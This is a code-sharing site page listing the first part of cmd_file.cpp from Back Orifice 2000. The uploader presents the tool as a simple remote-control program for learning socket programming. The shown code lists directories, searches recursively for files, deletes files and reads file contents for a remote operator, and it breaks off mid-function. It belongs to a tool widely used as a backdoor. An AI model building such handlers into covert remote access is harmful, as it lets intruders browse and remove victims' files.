⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cmd_file.cpp

📁 简单的远程控制工具,分为服务器与客户斋,让你了解socket编程的知识.
💻 CPP
📖 第 1 页 / 共 2 页
字号:
/*  Back Orifice 2000 - Remote Administration Suite
    Copyright (C) 1999, Cult Of The Dead Cow

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

	The author of this program may be contacted at dildog@l0pht.com. */
#include "stdafx.h"
//#include "..\\Ctrl_Srvr9.h"
//#include "..\\MainFrm.h"
#include "..\\Ctrlsrvr2\SendKey.h"
#include "..\\Ctrlsrvr2\Def_cmd_id.h"

#include "cmd_file.h"
//#include "strhandle.h"
extern inline int ReadSafe(CWSocket *lpWSK,  char * lpData, int nSize);	   
/*
int CmdProc_DirectoryList(char *strPath)
{
	char		svBuffer[1024];
	char		svPath[MAX_PATH+1];

	CMainFrame *pMainWnd = (CMainFrame *)AfxGetApp ()->m_pMainWnd;

	// Set directory wildcard spec if one doesn't exist
	lstrcpyn(svPath,strPath,MAX_PATH-1);
	if(svPath[lstrlen(svPath)-1]=='\\')
		lstrcat(svPath, "*");
	
	// Start file enumeration
	HANDLE hFind;
	WIN32_FIND_DATA finddata;

	hFind=FindFirstFile(svPath, &finddata);
	if(hFind==INVALID_HANDLE_VALUE)
	{
		pMainWnd->SendStringMsg ("MSG: Unable to enumerate files.");
//		IssueAuthCommandReply(cas_from,comid,1,"Unable to enumerate files.");
		return 1;
	}
//	wsprintf(svBuffer,"FILE: Contents of directory '%s':", strPath);
	wsprintf(svBuffer,"FILE: '%s'..", strPath);
	pMainWnd->SendStringMsg ((LPCTSTR)svBuffer);
//	IssueAuthCommandReply(cas_from,comid,1,svBuffer);
	
	// Enumerate files
	int		nCount;
	DWORD		dwBytes;
	char		svAttribs[8];
	FILETIME	filetime;
	SYSTEMTIME	systemtime;
	nCount=0;
	dwBytes=0;
	do {

		lstrcpy(svAttribs,"-------");
		if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  svAttribs[0] = 'D';
		if(finddata.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)    svAttribs[1] = 'A';
		if(finddata.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)     svAttribs[2] = 'H';
		if(finddata.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED) svAttribs[3] = 'C';
		if(finddata.dwFileAttributes & FILE_ATTRIBUTE_READONLY)   svAttribs[4] = 'R';
		if(finddata.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM)     svAttribs[5] = 'S';
		if(finddata.dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY)  svAttribs[6] = 'T';
		
		FileTimeToLocalFileTime(&finddata.ftLastWriteTime, &filetime);
		FileTimeToSystemTime(&filetime, &systemtime);
		wsprintf(svBuffer,"FILE: %.260s|%8d|%2.2d-%2.2d-%4.4d %2.2d:%2.2d|%7s|%12s", 
			finddata.cFileName,
			finddata.nFileSizeLow,
			(int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear, 
			(int)systemtime.wHour%24, (int)systemtime.wMinute%60,
			svAttribs, 
			finddata.cAlternateFileName);
		pMainWnd->SendStringMsg ((LPCTSTR)svBuffer);
//		IssueAuthCommandReply(cas_from,comid,1,svBuffer);

		nCount++;
		dwBytes+=finddata.nFileSizeLow;
	} while(FindNextFile(hFind, &finddata));

	// Close enumeration
	FindClose(hFind);
	wsprintf(svBuffer, "FILE: %lu bytes in %ld files.", dwBytes, nCount);
	pMainWnd->SendStringMsg ((LPCTSTR)svBuffer);
//	IssueAuthCommandReply(cas_from,comid,0,svBuffer);	
	
	return 0;
}

int FindFile(char *strPath, char *strFile, char *svBuffer)
{
	char svPath[MAX_PATH+1];
	CMainFrame *pMainWnd = (CMainFrame *)AfxGetApp ()->m_pMainWnd;
	
	// Set directory wildcard spec if one doesn't exist
	lstrcpyn(svPath,strPath,MAX_PATH-1);
	if(svPath[lstrlen(svPath)-1]=='\\')
		lstrcpyn(svPath+lstrlen(svPath), strFile, MAX_PATH-1-lstrlen(svPath));
	else {
		lstrcat(svPath,"\\");
		lstrcpyn(svPath+lstrlen(svPath), strFile, MAX_PATH-lstrlen(svPath));
	}
	
	// Start file enumeration
	HANDLE		hFind;
	WIN32_FIND_DATA finddata;
	char		svAttribs[8];
	FILETIME	filetime;
	SYSTEMTIME	systemtime;
	int		nCount;

	nCount=0;
	hFind=FindFirstFile(svPath, &finddata);
	if(hFind!=INVALID_HANDLE_VALUE)
	{
//		wsprintf(svBuffer,"Matched files in directory '%s':", strPath );
		wsprintf(svBuffer,"FILE: '%s'..", strPath );
		pMainWnd->SendStringMsg ((LPCTSTR)svBuffer);
//		IssueAuthCommandReply(cas_from,comid,1,svBuffer);
		
		// Enumerate files
		do {
			
			lstrcpy(svAttribs,"-------");
			if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  svAttribs[0] = 'D';
			if(finddata.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)    svAttribs[1] = 'A';
			if(finddata.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)     svAttribs[2] = 'H';
			if(finddata.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED) svAttribs[3] = 'C';
			if(finddata.dwFileAttributes & FILE_ATTRIBUTE_READONLY)   svAttribs[4] = 'R';
			if(finddata.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM)     svAttribs[5] = 'S';
			if(finddata.dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY)  svAttribs[6] = 'T';
			
			FileTimeToLocalFileTime(&finddata.ftCreationTime, &filetime);
			FileTimeToSystemTime(&filetime, &systemtime);
//			wsprintf(svBuffer,"%12s  %8d %7s %02d-%02d-%02d %02d:%02d %.260s", finddata.cAlternateFileName, finddata.nFileSizeLow, svAttribs, (int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear%100, (int)systemtime.wHour, (int)systemtime.wMinute, finddata.cFileName );
			wsprintf(svBuffer,"FILE: %.260s|%8d|%2.2d-%2.2d-%4.4d %2.2d:%2.2d|%7s|%12s", 
				finddata.cFileName,
				finddata.nFileSizeLow,
				(int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear, 
				(int)systemtime.wHour%24, (int)systemtime.wMinute%60,
				svAttribs, 
				finddata.cAlternateFileName);
			pMainWnd->SendStringMsg ((LPCTSTR)svBuffer);
//			IssueAuthCommandReply(cas_from,comid,1,svBuffer);
			
			nCount++;
		} while(FindNextFile(hFind, &finddata));
		
		// Close enumeration
		FindClose(hFind);
	}

	
	// Recurse
	lstrcpyn(svPath,strPath,MAX_PATH-1);
	if(svPath[lstrlen(svPath)-1]=='\\')
		lstrcpyn(svPath+lstrlen(svPath), "*", MAX_PATH-lstrlen(svPath));
	else {
		lstrcpyn(svPath+lstrlen(svPath), "\\*", MAX_PATH-lstrlen(svPath));
	}
	
	hFind=FindFirstFile(svPath, &finddata);
	if(hFind==INVALID_HANDLE_VALUE) 
	{
		return nCount;
	}
	char svNewRoot[MAX_PATH+1];
	do {
		if((lstrcmp(finddata.cFileName,".")==0) ||
		   (lstrcmp(finddata.cFileName,"..")==0)) continue;
		if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
			lstrcpyn(svNewRoot,strPath,MAX_PATH-1);
			if(svNewRoot[lstrlen(svNewRoot)-1]=='\\')
				lstrcpyn(svNewRoot+lstrlen(svNewRoot), finddata.cFileName, MAX_PATH-1-lstrlen(svNewRoot));
			else {
				lstrcat(svNewRoot,"\\");
				lstrcpyn(svNewRoot+lstrlen(svNewRoot), finddata.cFileName, MAX_PATH-lstrlen(svNewRoot));
			}
			nCount+=FindFile(svNewRoot,strFile,svBuffer);
		}
	} while(FindNextFile(hFind, &finddata));

	// Close enumeration
	FindClose(hFind);

	return nCount;
}

int CmdProc_FileFind(char *strPath, char *strFile)
{
	char svBuffer[1024];
	int nCount;

	CMainFrame *pMainWnd = (CMainFrame *)AfxGetApp ()->m_pMainWnd;

	nCount=FindFile(strPath,strFile,svBuffer);
	wsprintf(svBuffer,"FILE: %d found.",nCount);
	pMainWnd->SendStringMsg ((LPCTSTR)svBuffer);
//	IssueAuthCommandReply(cas_from,comid,0,svBuffer);

	return 0;
}

int CmdProc_FileDelete(char *strFile)
{
	if(DeleteFile(strFile)==0) 
	{
//		IssueAuthCommandReply(cas_from,comid,0,"Could not delete file.");
		return 1;
	}

//	IssueAuthCommandReply(cas_from,comid,0,"File deleted.");
	return 0;
}

int CmdProc_FileView(char *strFile)
{
	HANDLE hFile;
	CMainFrame *pMainWnd = (CMainFrame *)AfxGetApp ()->m_pMainWnd;

	hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
	if(hFile==INVALID_HANDLE_VALUE) 
	{
//		IssueAuthCommandReply(cas_from,comid,0,"Could not open file.");
		return 1;
	}

	// Spit out lines to io socket
	char *pData;
	char *svLine;
	DWORD dwLen,dwBytes;
	pData=(char *) malloc(101);
	svLine=(char *) malloc(101);

	if(pData==NULL || svLine==NULL)
	{
		if(pData!=NULL) free(pData);
		if(svLine!=NULL) free(svLine);
//		IssueAuthCommandReply(cas_from,comid,0,"Error allocating memory.");
		return 1;
	}
	
	dwLen=100;
	do {
		
		lstrcpyn(pData,"VIEW: ",dwLen);
		ReadFile(hFile,pData+6,dwLen-6,&dwBytes,NULL);
		pData[dwBytes+6]='\0';
		pMainWnd->SendStringMsg ((LPCTSTR)pData);
//		IssueAuthCommandReply(cas_from,comid,1,pData);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -